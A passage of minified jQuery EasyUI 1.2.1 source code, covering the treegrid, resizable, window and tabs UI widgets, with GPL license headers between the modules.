tr=tr.next("tr.treegrid-tr-tree"); var cc=tr.children("td").children("div"); if(_90.animate){ cc.slideUp("normal",function(){ _90.onCollapse.call(_8e,row); }); }else{ cc.hide(); _90.onCollapse.call(_8e,row); } }; function _92(_93,_94){ var _95=$.data(_93,"treegrid").options; var _96=$(_93).datagrid("getPanel").find("div.datagrid-body"); var tr=_96.find("tr[node-id="+_94+"]"); var hit=tr.find("span.tree-hit"); var row=_42(_93,_94); if(hit.length==0){ return; } if(hit.hasClass("tree-expanded")){ return; } if(_95.onBeforeExpand.call(_93,row)==false){ return; } hit.removeClass("tree-collapsed tree-collapsed-hover").addClass("tree-expanded"); hit.next().addClass("tree-folder-open"); var _97=tr.next("tr.treegrid-tr-tree"); if(_97.length){ var cc=_97.children("td").children("div"); _98(cc); }else{ _29(_93,row[_95.idField]); var _97=tr.next("tr.treegrid-tr-tree"); var cc=_97.children("td").children("div"); cc.hide(); _59(_93,row[_95.idField],{id:row[_95.idField]},true,function(){ _98(cc); }); } function _98(cc){ row.state="open"; if(_95.animate){ cc.slideDown("normal",function(){ _6(_93,_94); _95.onExpand.call(_93,row); }); }else{ cc.show(); _6(_93,_94); _95.onExpand.call(_93,row); } }; }; function _99(_9a,_9b){ var _9c=$(_9a).datagrid("getPanel").find("div.datagrid-body"); var tr=_9c.find("tr[node-id="+_9b+"]"); var hit=tr.find("span.tree-hit"); if(hit.hasClass("tree-expanded")){ _8d(_9a,_9b); }else{ _92(_9a,_9b); } }; function _9d(_9e,_9f){ var _a0=$.data(_9e,"treegrid").options; var _a1=_6c(_9e,_9f); if(_9f){ _a1.unshift(_42(_9e,_9f)); } for(var i=0;i<_a1.length;i++){ _8d(_9e,_a1[i][_a0.idField]); } }; function _a2(_a3,_a4){ var _a5=$.data(_a3,"treegrid").options; var _a6=_6c(_a3,_a4); if(_a4){ _a6.unshift(_42(_a3,_a4)); } for(var i=0;i<_a6.length;i++){ _92(_a3,_a6[i][_a5.idField]); } }; function _a7(_a8,_a9){ var _aa=$.data(_a8,"treegrid").options; var ids=[]; var p=_69(_a8,_a9); while(p){ var id=p[_aa.idField]; ids.unshift(id); p=_69(_a8,id); } for(var i=0;i<ids.length;i++){ _92(_a8,ids[i]); } }; function _ab(_ac,_ad){ var _ae=$.data(_ac,"treegrid").options; if(_ad.parent){ var _af=$(_ac).datagrid("getPanel").find("div.datagrid-body"); var tr=_af.find("tr[node-id="+_ad.parent+"]"); if(tr.next("tr.treegrid-tr-tree").length==0){ _29(_ac,_ad.parent); } var _b0=tr.children("td[field="+_ae.treeField+"]").children("div.datagrid-cell"); var _b1=_b0.children("span.tree-icon"); if(_b1.hasClass("tree-file")){ _b1.removeClass("tree-file").addClass("tree-folder"); var hit=$("<span class=\"tree-hit tree-expanded\"></span>").insertBefore(_b1); if(hit.prev().length){ hit.prev().remove(); } } } _34(_ac,_ad.parent,_ad.data,true); }; function _b2(_b3,_b4){ var _b5=$.data(_b3,"treegrid").options; var _b6=$(_b3).datagrid("getPanel").find("div.datagrid-body"); var tr=_b6.find("tr[node-id="+_b4+"]"); tr.next("tr.treegrid-tr-tree").remove(); tr.remove(); var _b7=del(_b4); if(_b7){ if(_b7.children.length==0){ tr=_b6.find("tr[node-id="+_b7[_b5.treeField]+"]"); var _b8=tr.children("td[field="+_b5.treeField+"]").children("div.datagrid-cell"); _b8.find(".tree-icon").removeClass("tree-folder").addClass("tree-file"); _b8.find(".tree-hit").remove(); $("<span class=\"tree-indent\"></span>").prependTo(_b8); } } _12(_b3); function del(id){ var cc; var _b9=_69(_b3,_b4); if(_b9){ cc=_b9.children; }else{ cc=$(_b3).treegrid("getData"); } for(var i=0;i<cc.length;i++){ if(cc[i][_b5.treeField]==id){ cc.splice(i,1); break; } } return _b9; }; }; function _ba(_bb,_bc){ var row=_42(_bb,_bc); var _bd=$.data(_bb,"treegrid").options; var _be=$(_bb).datagrid("getPanel").find("div.datagrid-body"); var tr=_be.find("tr[node-id="+_bc+"]"); tr.children("td").each(function(){ var _bf=$(this).find("div.datagrid-cell"); var _c0=$(this).attr("field"); var col=$(_bb).datagrid("getColumnOption",_c0); if(col){ var val=null; if(col.formatter){ val=col.formatter(row[_c0],row); }else{ val=row[_c0]||"&nbsp;"; } if(_c0==_bd.treeField){ _bf.children("span.tree-title").html(val); var cls="tree-icon"; var _c1=_bf.children("span.tree-icon"); if(_c1.hasClass("tree-folder")){ cls+=" tree-folder"; } if(_c1.hasClass("tree-folder-open")){ cls+=" tree-folder-open"; } if(_c1.hasClass("tree-file")){ cls+=" tree-file"; } if(row.iconCls){ cls+=" "+row.iconCls; } _c1.attr("class",cls); }else{ _bf.html(val); } } }); _6(_bb,_bc); }; $.fn.treegrid=function(_c2,_c3){ if(typeof _c2=="string"){ return $.fn.treegrid.methods[_c2](this,_c3); } _c2=_c2||{}; return this.each(function(){ var _c4=$.data(this,"treegrid"); if(_c4){ $.extend(_c4.options,_c2); }else{ $.data(this,"treegrid",{options:$.extend({},$.fn.treegrid.defaults,$.fn.treegrid.parseOptions(this),_c2),data:[]}); } _1(this); _59(this); }); }; $.fn.treegrid.methods={options:function(jq){ return $.data(jq[0],"treegrid").options; },resize:function(jq,_c5){ return jq.each(function(){ $(this).datagrid("resize",_c5); }); },loadData:function(jq,_c6){ return jq.each(function(){ _34(this,null,_c6); }); },reload:function(jq,id){ return jq.each(function(){ if(id){ var _c7=$(this).treegrid("find",id); if(_c7.children){ _c7.children.splice(0,_c7.children.length); } var _c8=$(this).datagrid("getPanel").find("div.datagrid-body"); var tr=_c8.find("tr[node-id="+id+"]"); tr.next("tr.treegrid-tr-tree").remove(); var hit=tr.find("span.tree-hit"); hit.removeClass("tree-expanded tree-expanded-hover").addClass("tree-collapsed"); _92(this,id); }else{ _59(this); } }); },getData:function(jq){ return $.data(jq[0],"treegrid").data; },getRoot:function(jq){ return _64(jq[0]); },getRoots:function(jq){ return _67(jq[0]); },getParent:function(jq,id){ return _69(jq[0],id); },getChildren:function(jq,id){ return _6c(jq[0],id); },getSelected:function(jq){ return _77(jq[0]); },getSelections:function(jq){ return _7a(jq[0]); },find:function(jq,id){ return _42(jq[0],id); },select:function(jq,id){ return jq.each(function(){ _83(this,id); }); },unselect:function(jq,id){ return jq.each(function(){ _87(this,id); }); },selectAll:function(jq){ return jq.each(function(){ _1b(this); }); },unselectAll:function(jq){ return jq.each(function(){ _1c(this); }); },collapse:function(jq,id){ return jq.each(function(){ _8d(this,id); }); },expand:function(jq,id){ return jq.each(function(){ _92(this,id); }); },toggle:function(jq,id){ return jq.each(function(){ _99(this,id); }); },collapseAll:function(jq,id){ return jq.each(function(){ _9d(this,id); }); },expandAll:function(jq,id){ return jq.each(function(){ _a2(this,id); }); },expandTo:function(jq,id){ return jq.each(function(){ _a7(this,id); }); },append:function(jq,_c9){ return jq.each(function(){ _ab(this,_c9); }); },remove:function(jq,id){ return jq.each(function(){ _b2(this,id); }); },refresh:function(jq,id){ return jq.each(function(){ _ba(this,id); }); }}; $.fn.treegrid.parseOptions=function(_ca){ var t=$(_ca); return $.extend({},$.fn.datagrid.parseOptions(_ca),{treeField:t.attr("treeField"),animate:(t.attr("animate")?t.attr("animate")=="true":undefined)}); }; $.fn.treegrid.defaults=$.extend({},$.fn.datagrid.defaults,{treeField:null,animate:false,singleSelect:true,onBeforeLoad:function(row,_cb){ },onLoadSuccess:function(row,_cc){ },onLoadError:function(){ },onBeforeCollapse:function(row){ },onCollapse:function(row){ },onBeforeExpand:function(row){ },onExpand:function(row){ },onClickRow:function(row){ },onDblClickRow:function(row){ },onContextMenu:function(e,row){ }}); })(jQuery);
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ $.fn.resizable=function(_1,_2){ if(typeof _1=="string"){ return $.fn.resizable.methods[_1](this,_2); } function _3(e){ var _4=e.data; var _5=$.data(_4.target,"resizable").options; if(_4.dir.indexOf("e")!=-1){ var _6=_4.startWidth+e.pageX-_4.startX; _6=Math.min(Math.max(_6,_5.minWidth),_5.maxWidth); _4.width=_6; } if(_4.dir.indexOf("s")!=-1){ var _7=_4.startHeight+e.pageY-_4.startY; _7=Math.min(Math.max(_7,_5.minHeight),_5.maxHeight); _4.height=_7; } if(_4.dir.indexOf("w")!=-1){ _4.width=_4.startWidth-e.pageX+_4.startX; if(_4.width>=_5.minWidth&&_4.width<=_5.maxWidth){ _4.left=_4.startLeft+e.pageX-_4.startX; } } if(_4.dir.indexOf("n")!=-1){ _4.height=_4.startHeight-e.pageY+_4.startY; if(_4.height>=_5.minHeight&&_4.height<=_5.maxHeight){ _4.top=_4.startTop+e.pageY-_4.startY; } } }; function _8(e){ var _9=e.data; var _a=_9.target; if($.boxModel==true){ $(_a).css({width:_9.width-_9.deltaWidth,height:_9.height-_9.deltaHeight,left:_9.left,top:_9.top}); }else{ $(_a).css({width:_9.width,height:_9.height,left:_9.left,top:_9.top}); } }; function _b(e){ $.data(e.data.target,"resizable").options.onStartResize.call(e.data.target,e); return false; }; function _c(e){ _3(e); if($.data(e.data.target,"resizable").options.onResize.call(e.data.target,e)!=false){ _8(e); } return false; }; function _d(e){ _3(e,true); _8(e); $(document).unbind(".resizable"); $.data(e.data.target,"resizable").options.onStopResize.call(e.data.target,e); return false; }; return this.each(function(){ var _e=null; var _f=$.data(this,"resizable"); if(_f){ $(this).unbind(".resizable"); _e=$.extend(_f.options,_1||{}); }else{ _e=$.extend({},$.fn.resizable.defaults,_1||{}); } if(_e.disabled==true){ return; } $.data(this,"resizable",{options:_e}); var _10=this; $(this).bind("mousemove.resizable",_11).bind("mousedown.resizable",_12); function _11(e){ var dir=_13(e); if(dir==""){ $(_10).css("cursor","default"); }else{ $(_10).css("cursor",dir+"-resize"); } }; function _12(e){ var dir=_13(e); if(dir==""){ return; } var _14={target:this,dir:dir,startLeft:_15("left"),startTop:_15("top"),left:_15("left"),top:_15("top"),startX:e.pageX,startY:e.pageY,startWidth:$(_10).outerWidth(),startHeight:$(_10).outerHeight(),width:$(_10).outerWidth(),height:$(_10).outerHeight(),deltaWidth:$(_10).outerWidth()-$(_10).width(),deltaHeight:$(_10).outerHeight()-$(_10).height()}; $(document).bind("mousedown.resizable",_14,_b); $(document).bind("mousemove.resizable",_14,_c); $(document).bind("mouseup.resizable",_14,_d); }; function _13(e){ var dir=""; var _16=$(_10).offset(); var _17=$(_10).outerWidth(); var _18=$(_10).outerHeight(); var _19=_e.edge; if(e.pageY>_16.top&&e.pageY<_16.top+_19){ dir+="n"; }else{ if(e.pageY<_16.top+_18&&e.pageY>_16.top+_18-_19){ dir+="s"; } } if(e.pageX>_16.left&&e.pageX<_16.left+_19){ dir+="w"; }else{ if(e.pageX<_16.left+_17&&e.pageX>_16.left+_17-_19){ dir+="e"; } } var _1a=_e.handles.split(","); for(var i=0;i<_1a.length;i++){ var _1b=_1a[i].replace(/(^\s*)|(\s*$)/g,""); if(_1b=="all"||_1b==dir){ return dir; } } return ""; }; function _15(css){ var val=parseInt($(_10).css(css)); if(isNaN(val)){ return 0; }else{ return val; } }; }); }; $.fn.resizable.methods={}; $.fn.resizable.defaults={disabled:false,handles:"n, e, s, w, ne, se, sw, nw, all",minWidth:10,minHeight:10,maxWidth:10000,maxHeight:10000,edge:5,onStartResize:function(e){ },onResize:function(e){ },onStopResize:function(e){ }}; })(jQuery);
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ function _1(_2,_3){ var _4=$.data(_2,"window").options; if(_3){ if(_3.width){ _4.width=_3.width; } if(_3.height){ _4.height=_3.height; } if(_3.left!=null){ _4.left=_3.left; } if(_3.top!=null){ _4.top=_3.top; } } $(_2).panel("resize",_4); }; function _5(_6,_7){ var _8=$.data(_6,"window"); if(_7){ if(_7.left!=null){ _8.options.left=_7.left; } if(_7.top!=null){ _8.options.top=_7.top; } } $(_6).panel("move",_8.options); if(_8.shadow){ _8.shadow.css({left:_8.options.left,top:_8.options.top}); } }; function _9(_a){ var _b=$.data(_a,"window"); var _c=$(_a).panel($.extend({},_b.options,{border:false,doSize:true,closed:true,cls:"window",headerCls:"window-header",bodyCls:"window-body",onBeforeDestroy:function(){ if(_b.options.onBeforeDestroy.call(_a)==false){ return false; } if(_b.shadow){ _b.shadow.remove(); } if(_b.mask){ _b.mask.remove(); } },onClose:function(){ if(_b.shadow){ _b.shadow.hide(); } if(_b.mask){ _b.mask.hide(); } _b.options.onClose.call(_a); },onOpen:function(){ if(_b.mask){ _b.mask.css({display:"block",zIndex:$.fn.window.defaults.zIndex++}); } if(_b.shadow){ _b.shadow.css({display:"block",zIndex:$.fn.window.defaults.zIndex++,left:_b.options.left,top:_b.options.top,width:_b.window.outerWidth(),height:_b.window.outerHeight()}); } _b.window.css("z-index",$.fn.window.defaults.zIndex++); _b.options.onOpen.call(_a); },onResize:function(_d,_e){ var _f=$(_a).panel("options"); _b.options.width=_f.width; _b.options.height=_f.height; _b.options.left=_f.left; _b.options.top=_f.top; if(_b.shadow){ _b.shadow.css({left:_b.options.left,top:_b.options.top,width:_b.window.outerWidth(),height:_b.window.outerHeight()}); } _b.options.onResize.call(_a,_d,_e); },onMinimize:function(){ if(_b.shadow){ _b.shadow.hide(); } if(_b.mask){ _b.mask.hide(); } _b.options.onMinimize.call(_a); },onBeforeCollapse:function(){ if(_b.options.onBeforeCollapse.call(_a)==false){ return false; } if(_b.shadow){ _b.shadow.hide(); } },onExpand:function(){ if(_b.shadow){ _b.shadow.show(); } _b.options.onExpand.call(_a); }})); _b.window=_c.panel("panel"); if(_b.mask){ _b.mask.remove(); } if(_b.options.modal==true){ _b.mask=$("<div class=\"window-mask\"></div>").appendTo("body"); _b.mask.css({width:_10().width,height:_10().height,display:"none"}); } if(_b.shadow){ _b.shadow.remove(); } if(_b.options.shadow==true){ _b.shadow=$("<div class=\"window-shadow\"></div>").insertAfter(_b.window); _b.shadow.css({display:"none"}); } if(_b.options.left==null){ var _11=_b.options.width; if(isNaN(_11)){ _11=_b.window.outerWidth(); } _b.options.left=($(window).width()-_11)/2+$(document).scrollLeft(); } if(_b.options.top==null){ var _12=_b.window.height; if(isNaN(_12)){ _12=_b.window.outerHeight(); } _b.options.top=($(window).height()-_12)/2+$(document).scrollTop(); } _5(_a); if(_b.options.closed==false){ _c.window("open"); } }; function _13(_14){ var _15=$.data(_14,"window"); _15.window.draggable({handle:">div.panel-header>div.panel-title",disabled:_15.options.draggable==false,onStartDrag:function(e){ if(_15.mask){ _15.mask.css("z-index",$.fn.window.defaults.zIndex++); } if(_15.shadow){ _15.shadow.css("z-index",$.fn.window.defaults.zIndex++); } _15.window.css("z-index",$.fn.window.defaults.zIndex++); if(!_15.proxy){ _15.proxy=$("<div class=\"window-proxy\"></div>").insertAfter(_15.window); } _15.proxy.css({display:"none",zIndex:$.fn.window.defaults.zIndex++,left:e.data.left,top:e.data.top,width:($.boxModel==true?(_15.window.outerWidth()-(_15.proxy.outerWidth()-_15.proxy.width())):_15.window.outerWidth()),height:($.boxModel==true?(_15.window.outerHeight()-(_15.proxy.outerHeight()-_15.proxy.height())):_15.window.outerHeight())}); setTimeout(function(){ if(_15.proxy){ _15.proxy.show(); } },500); },onDrag:function(e){ _15.proxy.css({display:"block",left:e.data.left,top:e.data.top}); return false; },onStopDrag:function(e){ _15.options.left=e.data.left; _15.options.top=e.data.top; $(_14).window("move"); _15.proxy.remove(); _15.proxy=null; }}); _15.window.resizable({disabled:_15.options.resizable==false,onStartResize:function(e){ if(!_15.proxy){ _15.proxy=$("<div class=\"window-proxy\"></div>").insertAfter(_15.window); } _15.proxy.css({zIndex:$.fn.window.defaults.zIndex++,left:e.data.left,top:e.data.top,width:($.boxModel==true?(e.data.width-(_15.proxy.outerWidth()-_15.proxy.width())):e.data.width),height:($.boxModel==true?(e.data.height-(_15.proxy.outerHeight()-_15.proxy.height())):e.data.height)}); },onResize:function(e){ _15.proxy.css({left:e.data.left,top:e.data.top,width:($.boxModel==true?(e.data.width-(_15.proxy.outerWidth()-_15.proxy.width())):e.data.width),height:($.boxModel==true?(e.data.height-(_15.proxy.outerHeight()-_15.proxy.height())):e.data.height)}); return false; },onStopResize:function(e){ _15.options.left=e.data.left; _15.options.top=e.data.top; _15.options.width=e.data.width; _15.options.height=e.data.height; _1(_14); _15.proxy.remove(); _15.proxy=null; }}); }; function _10(){ if(document.compatMode=="BackCompat"){ return {width:Math.max(document.body.scrollWidth,document.body.clientWidth),height:Math.max(document.body.scrollHeight,document.body.clientHeight)}; }else{ return {width:Math.max(document.documentElement.scrollWidth,document.documentElement.clientWidth),height:Math.max(document.documentElement.scrollHeight,document.documentElement.clientHeight)}; } }; $(window).resize(function(){ $(".window-mask").css({width:$(window).width(),height:$(window).height()}); setTimeout(function(){ $(".window-mask").css({width:_10().width,height:_10().height}); },50); }); $.fn.window=function(_16,_17){ if(typeof _16=="string"){ var _18=$.fn.window.methods[_16]; if(_18){ return _18(this,_17); }else{ return this.panel(_16,_17); } } _16=_16||{}; return this.each(function(){ var _19=$.data(this,"window"); if(_19){ $.extend(_19.options,_16); }else{ _19=$.data(this,"window",{options:$.extend({},$.fn.window.defaults,$.fn.window.parseOptions(this),_16)}); $(this).appendTo("body"); } _9(this); _13(this); }); }; $.fn.window.methods={options:function(jq){ var _1a=jq.panel("options"); var _1b=$.data(jq[0],"window").options; return $.extend(_1b,{closed:_1a.closed,collapsed:_1a.collapsed,minimized:_1a.minimized,maximized:_1a.maximized}); },window:function(jq){ return $.data(jq[0],"window").window; },resize:function(jq,_1c){ return jq.each(function(){ _1(this,_1c); }); },move:function(jq,_1d){ return jq.each(function(){ _5(this,_1d); }); }}; $.fn.window.parseOptions=function(_1e){ var t=$(_1e); return $.extend({},$.fn.panel.parseOptions(_1e),{draggable:(t.attr("draggable")?t.attr("draggable")=="true":undefined),resizable:(t.attr("resizable")?t.attr("resizable")=="true":undefined),shadow:(t.attr("shadow")?t.attr("shadow")=="true":undefined),modal:(t.attr("modal")?t.attr("modal")=="true":undefined)}); }; $.fn.window.defaults=$.extend({},$.fn.panel.defaults,{zIndex:9000,draggable:true,resizable:true,shadow:true,modal:false,title:"New Window",collapsible:true,minimizable:true,maximizable:true,closable:true,closed:false}); })(jQuery);
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ function _1(_2){ var _3=$(">div.tabs-header",_2); var _4=0; $("ul.tabs li",_3).each(function(){ _4+=$(this).outerWidth(true); }); var _5=$("div.tabs-wrap",_3).width(); var _6=parseInt($("ul.tabs",_3).css("padding-left")); return _4-_5+_6; }; function _7(_8){ var _9=$.data(_8,"tabs").options; var _a=$(_8).children("div.tabs-header"); var _b=_a.children("div.tabs-tool"); var _c=_a.children("div.tabs-scroller-left"); var _d=_a.children("div.tabs-scroller-right"); var _e=_a.children("div.tabs-wrap"); var _f=($.boxModel==true?(_a.outerHeight()-(_b.outerHeight()-_b.height())):_a.outerHeight()); if(_9.plain){ _f-=2; } _b.height(_f); var _10=0; $("ul.tabs li",_a).each(function(){ _10+=$(this).outerWidth(true); }); var _11=_a.width()-_b.outerWidth(); if(_10>_11){ _c.show(); _d.show(); _b.css("right",_d.outerWidth()); _e.css({marginLeft:_c.outerWidth(),marginRight:_d.outerWidth()+_b.outerWidth(),left:0,width:_11-_c.outerWidth()-_d.outerWidth()}); }else{ _c.hide(); _d.hide(); _b.css("right",0); _e.css({marginLeft:0,marginRight:_b.outerWidth(),left:0,width:_11}); _e.scrollLeft(0); } }; function _12(_13){ var _14=$.data(_13,"tabs").options; var _15=$(_13).children("div.tabs-header"); var _16=_15.children("div.tabs-tool"); _16.remove(); if(_14.tools){ _16=$("<div class=\"tabs-tool\"></div>").appendTo(_15); for(var i=0;i<_14.tools.length;i++){ var _17=$("<a href=\"javascript:void(0);\"></a>").appendTo(_16); _17[0].onclick=eval(_14.tools[i].handler||function(){ }); _17.linkbutton($.extend({},_14.tools[i],{plain:true})); } } }; function _18(_19){ var _1a=$.data(_19,"tabs").options; var cc=$(_19); if(_1a.fit==true){ var p=cc.parent(); _1a.width=p.width(); _1a.height=p.height(); } cc.width(_1a.width).height(_1a.height); var _1b=$(">div.tabs-header",_19); if($.boxModel==true){ _1b.width(_1a.width-(_1b.outerWidth()-_1b.width())); }else{ _1b.width(_1a.width); } _7(_19); var _1c=$(">div.tabs-panels",_19); var _1d=_1a.height; if(!isNaN(_1d)){ if($.boxModel==true){ var _1e=_1c.outerHeight()-_1c.height(); _1c.css("height",(_1d-_1b.outerHeight()-_1e)||"auto"); }else{ _1c.css("height",_1d-_1b.outerHeight()); } }else{ _1c.height("auto"); } var _1f=_1a.width; if(!isNaN(_1f)){ if($.boxModel==true){ _1c.width(_1f-(_1c.outerWidth()-_1c.width())); }else{ _1c.width(_1f); } }else{ _1c.width("auto"); } }; function _20(_21){ var _22=$.data(_21,"tabs").options; var tab=_23(_21); if(tab){ var _24=$(_21).find(">div.tabs-panels"); var _25=_22.width=="auto"?"auto":_24.width(); var _26=_22.height=="auto"?"auto":_24.height(); tab.panel("resize",{width:_25,height:_26}); } }; function _27(_28){ var cc=$(_28); cc.addClass("tabs-container"); cc.wrapInner("<div class=\"tabs-panels\"/>"); $("<div class=\"tabs-header\">"+"<div class=\"tabs-scroller-left\"></div>"+"<div class=\"tabs-scroller-right\"></div>"+"<div class=\"tabs-wrap\">"+"<ul class=\"tabs\"></ul>"+"</div>"+"</div>").prependTo(_28); var _29=[]; var _2a=$(">div.tabs-header",_28); $(">div.tabs-panels>div",_28).each(function(){ var pp=$(this); _29.push(pp); _37(_28,pp); }); $(".tabs-scroller-left, .tabs-scroller-right",_2a).hover(function(){ $(this).addClass("tabs-scroller-over"); },function(){ $(this).removeClass("tabs-scroller-over"); }); cc.bind("_resize",function(){ var _2b=$.data(_28,"tabs").options; if(_2b.fit==true){ _18(_28); _20(_28); } return false; }); return _29; }; function _2c(_2d){ var _2e=$.data(_2d,"tabs").options; var _2f=$(">div.tabs-header",_2d); var _30=$(">div.tabs-panels",_2d); if(_2e.plain==true){ _2f.addClass("tabs-header-plain"); }else{ _2f.removeClass("tabs-header-plain"); } if(_2e.border==true){ _2f.removeClass("tabs-header-noborder"); _30.removeClass("tabs-panels-noborder"); }else{ _2f.addClass("tabs-header-noborder"); _30.addClass("tabs-panels-noborder"); } $(".tabs-scroller-left",_2f).unbind(".tabs").bind("click.tabs",function(){ var _31=$(".tabs-wrap",_2f); var pos=_31.scrollLeft()-_2e.scrollIncrement; _31.animate({scrollLeft:pos},_2e.scrollDuration); }); $(".tabs-scroller-right",_2f).unbind(".tabs").bind("click.tabs",function(){ var _32=$(".tabs-wrap",_2f); var pos=Math.min(_32.scrollLeft()+_2e.scrollIncrement,_1(_2d)); _32.animate({scrollLeft:pos},_2e.scrollDuration); }); var _33=$.data(_2d,"tabs").tabs; for(var i=0,len=_33.length;i<len;i++){ var _34=_33[i]; var tab=_34.panel("options").tab; var _35=_34.panel("options").title; tab.unbind(".tabs").bind("click.tabs",{title:_35},function(e){ _45(_2d,e.data.title); }).bind("contextmenu.tabs",{title:_35},function(e){ _2e.onContextMenu.call(_2d,e,e.data.title); }); tab.find("a.tabs-close").unbind(".tabs").bind("click.tabs",{title:_35},function(e){ _36(_2d,e.data.title); return false; }); } }; function _37(_38,pp,_39){ _39=_39||{}; pp.panel($.extend({},{selected:pp.attr("selected")=="true"},_39,{border:false,noheader:true,closed:true,doSize:false,iconCls:(_39.icon?_39.icon:undefined),onLoad:function(){ $.data(_38,"tabs").options.onLoad.call(_38,pp); }})); var _3a=pp.panel("options"); var _3b=$(">div.tabs-header",_38); var _3c=$("ul.tabs",_3b); var tab=$("<li></li>").appendTo(_3c); var _3d=$("<a href=\"javascript:void(0)\" class=\"tabs-inner\"></a>").appendTo(tab); var _3e=$("<span class=\"tabs-title\"></span>").html(_3a.title).appendTo(_3d); var _3f=$("<span class=\"tabs-icon\"></span>").appendTo(_3d); if(_3a.closable){ _3e.addClass("tabs-closable"); $("<a href=\"javascript:void(0)\" class=\"tabs-close\"></a>").appendTo(tab); } if(_3a.iconCls){ _3e.addClass("tabs-with-icon"); _3f.addClass(_3a.iconCls); } _3a.tab=tab; }; function _40(_41,_42){ var _43=$.data(_41,"tabs").options; var _44=$.data(_41,"tabs").tabs; var pp=$("<div></div>").appendTo($(">div.tabs-panels",_41)); _44.push(pp); _37(_41,pp,_42); _43.onAdd.call(_41,_42.title); _7(_41); _2c(_41); _45(_41,_42.title); }; function _46(_47,_48){ var _49=$.data(_47,"tabs").selectHis; var pp=_48.tab; var _4a=pp.panel("options").title; pp.panel($.extend({},_48.options,{iconCls:(_48.options.icon?_48.options.icon:undefined)})); var _4b=pp.panel("options"); var tab=_4b.tab; tab.find("span.tabs-icon").attr("class","tabs-icon"); tab.find("a.tabs-close").remove(); tab.find("span.tabs-title").html(_4b.title); if(_4b.closable){ tab.find("span.tabs-title").addClass("tabs-closable"); $("<a href=\"javascript:void(0)\" class=\"tabs-close\"></a>").appendTo(tab); }else{ tab.find("span.tabs-title").removeClass("tabs-closable"); } if(_4b.iconCls){ tab.find("span.tabs-title").addClass("tabs-with-icon"); tab.find("span.tabs-icon").addClass(_4b.iconCls); }else{ tab.find("span.tabs-title").removeClass("tabs-with-icon"); } if(_4a!=_4b.title){ for(var i=0;i<_49.length;i++){ if(_49[i]==_4a){ _49[i]=_4b.title; } } } _2c(_47); $.data(_47,"tabs").options.onUpdate.call(_47,_4b.title); }; function _36(_4c,_4d){ var _4e=$.data(_4c,"tabs").options; var _4f=$.data(_4c,"tabs").tabs; var _50=$.data(_4c,"tabs").selectHis; if(!_51(_4c,_4d)){ return; } if(_4e.onBeforeClose.call(_4c,_4d)==false){ return; } var tab=_52(_4c,_4d,true); tab.panel("options").tab.remove(); tab.panel("destroy"); _4e.onClose.call(_4c,_4d); _7(_4c); for(var i=0;i<_50.length;i++){ if(_50[i]==_4d){ _50.splice(i,1); i--; } } var _53=_50.pop(); if(_53){ _45(_4c,_53); }else{ if(_4f.length){ _45(_4c,_4f[0].panel("options").title); } } }; function _52(_54,_55,_56){ var _57=$.data(_54,"tabs").tabs; for(var i=0;i<_57.length;i++){ var tab=_57[i]; if(tab.panel("options").title==_55){ if(_56){ _57.splice(i,1); } return tab; } } return null; }; function _23(_58){ var _59=$.data(_58,"tabs").tabs; for(var i=0;i<_59.length;i++){ var tab=_59[i]; if(tab.panel("options").closed==false){ return tab; } } return null; }; function _5a(_5b){ var _5c=$.data(_5b,"tabs").tabs; for(var i=0;i<_5c.length;i++){ var tab=_5c[i]; if(tab.panel("options").selected){ _45(_5b,tab.panel("options").title); return; } } if(_5c.length){ _45(_5b,_5c[0].panel("options").title); } }; function _45(_5d,_5e){ var _5f=$.data(_5d,"tabs").options; var _60=$.data(_5d,"tabs").tabs; var _61=$.data(_5d,"tabs").selectHis; if(_60.length==0){ return; } var _62=_52(_5d,_5e); if(!_62){ return; } var _63=_23(_5d); if(_63){ _63.panel("close"); _63.panel("options").tab.removeClass("tabs-selected"); } _62.panel("open"); var tab=_62.panel("options").tab; tab.addClass("tabs-selected"); var _64=$(_5d).find(">div.tabs-header div.tabs-wrap"); var _65=tab.position().left+_64.scrollLeft(); var _66=_65-_64.scrollLeft(); var _67=_66+tab.outerWidth(); if(_66<0||_67>_64.innerWidth()){ var pos=Math.min(_65-(_64.width()-tab.width())/2,_1(_5d)); _64.animate({scrollLeft:pos},_5f.scrollDuration); }else{ var pos=Math.min(_64.scrollLeft(),_1(_5d)); _64.animate({scrollLeft:pos},_5f.scrollDuration); } _20(_5d); _61.push(_5e); _5f.onSelect.call(_5d,_5e); }; function _51(_68,_69){ return _52(_68,_69)!=null; }; $.fn.tabs=function(_6a,_6b){ if(typeof _6a=="string"){ return $.fn.tabs.methods[_6a](this,_6b); } _6a=_6a||{}; return this.each(function(){ var _6c=$.data(this,"tabs"); var _6d; if(_6c){ _6d=$.extend(_6c.options,_6a); _6c.options=_6d; }else{ $.data(this,"tabs",{options:$.extend({},$.fn.tabs.defaults,$.fn.tabs.parseOptions(this),_6a),tabs:_27(this),selectHis:[]}); } _12(this); _2c(this); _18(this); var _6e=this; setTimeout(function(){ _5a(_6e); },0); }); }; $.fn.tabs.methods={options:function(jq){ return $.data(jq[0],"tabs").options; },tabs:function(jq){ return $.data(jq[0],"tabs").tabs; },resize:function(jq){ return jq.each(function(){ _18(this); _20(this); }); },add:function(jq,_6f){ return jq.each(function(){ _40(this,_6f); }); },close:function(jq,_70){ return jq.each(function(){ _36(this,_70); }); },getTab:function(jq,_71){ return _52(jq[0],_71); },getSelected:function(jq){ return _23(jq[0]); },select:function(jq,_72){ return jq.each(function(){ _45(this,_72); }); },exists:function(jq,_73){ return _51(jq[0],_73); },update:function(jq,_74){ return jq.each(function(){ _46(this,_74); }); }}; $.fn.tabs.parseOptions=function(_75){ var t=$(_75); return {width:(parseInt(_75.style.width)||undefined),height:(parseInt(_75.style.height)||undefined),fit:(t.attr("fit")?t.attr("fit")=="true":undefined),border:(t.attr("border")?t.attr("border")=="true":undefined),plain:(t.attr("plain")?t.attr("plain")=="true":undefined)}; }; $.fn.tabs.defaults={width:"auto",height:"auto",plain:false,fit:false,border:true,tools:null,scrollIncrement:100,scrollDuration:400,onLoad:function(_76){ },onSelect:function(_77){ },onBeforeClose:function(_78){ },onClose:function(_79){ },onAdd:function(_7a){ },onUpdate:function(_7b){ },onContextMenu:function(e,_7c){ }}; 